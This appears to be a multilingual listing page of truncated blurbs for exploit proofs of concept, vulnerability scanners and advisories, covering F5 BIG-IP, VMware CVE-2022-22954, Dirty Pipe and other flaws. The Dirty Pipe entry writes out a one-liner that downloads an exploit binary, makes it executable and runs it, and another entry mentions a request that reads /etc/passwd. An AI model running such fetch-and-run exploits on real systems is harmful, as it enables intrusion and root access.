Exploit-F5-CVE-2022-1388

Exploit-F5-CVE-2022-1388 PoC para F5 BIG-IP - script bash Exploit de una línea Versiones Vulnerables: BIG-IP versiones 16.1.0 a 16.1.2 Parche publicado BIG-IP versiones 15.1.0 a 15.1.5 Parche publicado BIG-IP versiones 14.1.0 a 14.1.4 Parche publicado BIG-IP versiones 13.1.0 a 13.1.4 Parche...

CVE-2023-0157

CVE ID : CVE-2023-0157 Vulnerability Type : Directory Traversal Description : The All-In-One Security AIOS plugin for WordPress is vulnerable to directory traversal in versions up to, and including, 5.1.4. This allows authenticated attackers with administrator-level permissions to read the conten...

PIGADVulnScanner

ADVulnScanner Detecta vulnerabilidades comunes de explotación directa en el dominio, incluyendo: NoPac, ZeroLogon, CVE-2022-26923, PrintNightMare...

-CVE-2022-22954-scanner

CVE-2022-22954-scanner Descripción de la vulnerabilidad VMware Workspace ONE Access anteriormente conocido como VMware Identity Manager está diseñado para permitir que sus empleados accedan más rápidamente a aplicaciones SaaS, web y nativas móviles mediante autenticación multifactor, acceso...

CVE-2022-22954-POC

CVE-2022-22954-POC VMware Workspace ONE Access anteriormente conocido como VMware Identity Manager está diseñado para permitir que sus empleados accedan más rápido a aplicaciones SaaS, web y móviles nativas mediante autenticación multifactor, acceso condicional e inicio de sesión único...

CVE-2022-22954-PoC

CVE-2022-22954 PoC VMware Workspace ONE Access and Identity Manager RCE via SSTI. CVE-2022-22954 - PoC SSTI Usage: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file |...

VMware-CVE-2022-22954

Inyección de plantillas del lado del servidor Freemarker en VMware CVE-2022-22954 Workspace ONE Access POC para VMware CVE-2022-22954 ¡¡Usa esta solicitud GET de una línea!! Esto ejecutará cat /etc/passwd...

Root-My-Galaxy-tests

Root My Galaxy Root My Galaxy is a one-click installer for explicitly supported Samsung firmware builds. The application itself is kept separate from device offsets, native exploit payloads, and KernelSU build artifacts. Latest release The device feed and native payloads are maintained in...

FinalRecon

Twitter - Telegram - thewhiteh4t's Blog FinalRecon — это универсальное средство автоматической веб-разведки , написанное на Python. Цель FinalRecon — предоставить обзор цели за короткое время, сохраняя при этом точность результатов. Вместо выполнения нескольких инструментов один за другим он...

Dirty-Pipe

Exploit en una línea CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

mailinabox

Mail-in-a-Box @JoshData 님과 기여자들이 만들었습니다. Mail-in-a-Box는 개인이 이메일을 다시 통제할 수 있도록 원클릭, 배포가 쉬운 SMTP+그 밖의 모든 것 서버, 즉 상자 속의 메일 서버를 정의합니다. 프로젝트 웹사이트와 설정 가이드는https://mailinabox.email을 참조하세요! 우리의 목표는 다음과 같습니다: 좋은 메일 서버 배포를 쉽게 만든다. 웹에서의 탈중앙화, 혁신, 그리고 프라이버시를 촉진한다. 자동화되고, 감사 가능하며, 멱등적인 구성을 갖춘다. 완전히 해킹 불가능하고...

CVE-2023-43149

CVE-2023-43149 Autor : Aitor Herrero Fuentes Proveedor: SPA-Cart Sitio web del proveedor: https://spa-cart.com/ Enlace del software: https://demo.spa-cart.com/admin Versión: 1.9.0.3 Probado en: Windows 10 Pro CSRF AÑADIR CUENTA ROOT La vulnerabilidad de Cross Site Request Forgery en la aplicación...

CVE-2025-38676

CVE-2025-38676 — Desbordamiento de búfer en la pila del kernel de Linux ≤ 6.17-rc2 AMD IOMMU Este repositorio proporciona recursos PoC seguros y no explotables para estudiar CVE-2025-38676: Herramientas de recopilación de información + seguridad Arnés de arranque QEMU para ejercitar permutaciones...

cve-2021-3156

CVE-2021-3156 -- Baron Samedit Entorno de la vulnerabilidad Crear una imagen usando Dockerfille root@kitploit: docker build -t cve-2021-3156:ubuntu2004 . Crear un contenedor usando la imagen root@kitploit: docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash Causa de la vulnerabilidad En...

Linux Distros Unpatched Vulnerability : CVE-2026-89442

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - platform/x86: ISST: Validate socket ID in closassoc ioctl isstifclosassoc validates the user- supplied socketid with 'socketid topologymaxpackages', but...

Linux Distros Unpatched Vulnerability : CVE-2026-89596

"The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - forcedeth: fix off-by-one when saving/restoring non-PCI config space nvsuspend and nvresume walk the non-PCI configuration space with for i = 0; i...

Linux Distros Unpatched Vulnerability : CVE-2026-81012

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - platform/x86: hp-bioscfg: fix off-by-one write in hpgetstringfrombuffer hpgetstringfrombuffer clamps the converted string length against the destination buffer...

One-Liner-Collections

One-Liner-Collections This Repositories contains list of One Liners with Descriptions and Installation requirements ──────────────────────────────────────────────────────────────────────── SQL Injection Installation Requirements 1. Subfinder : https://github.com/projectdiscovery/subfinder 2. GAU ...

gha-lab-7927d7d06f

Purpose server/ provides a local backend FastAPI + PostgreSQL to achieve complete separation between local and cloud environments. After deploying this service, sensitive data such as user registration, model provider configurations, tool settings, and chat history are stored on your machine and...

sonos

sonos/amlogic haxx here you will find some exploit & tool code that was part of my presentation about the Sonos One @ Hack in the Box amsterdam 2023. the EL3 exploit can be used to dump your OTP/eFUSE data. sonostool can be used to get decryption keys for Sonos LUKS volumes as well as fetch and...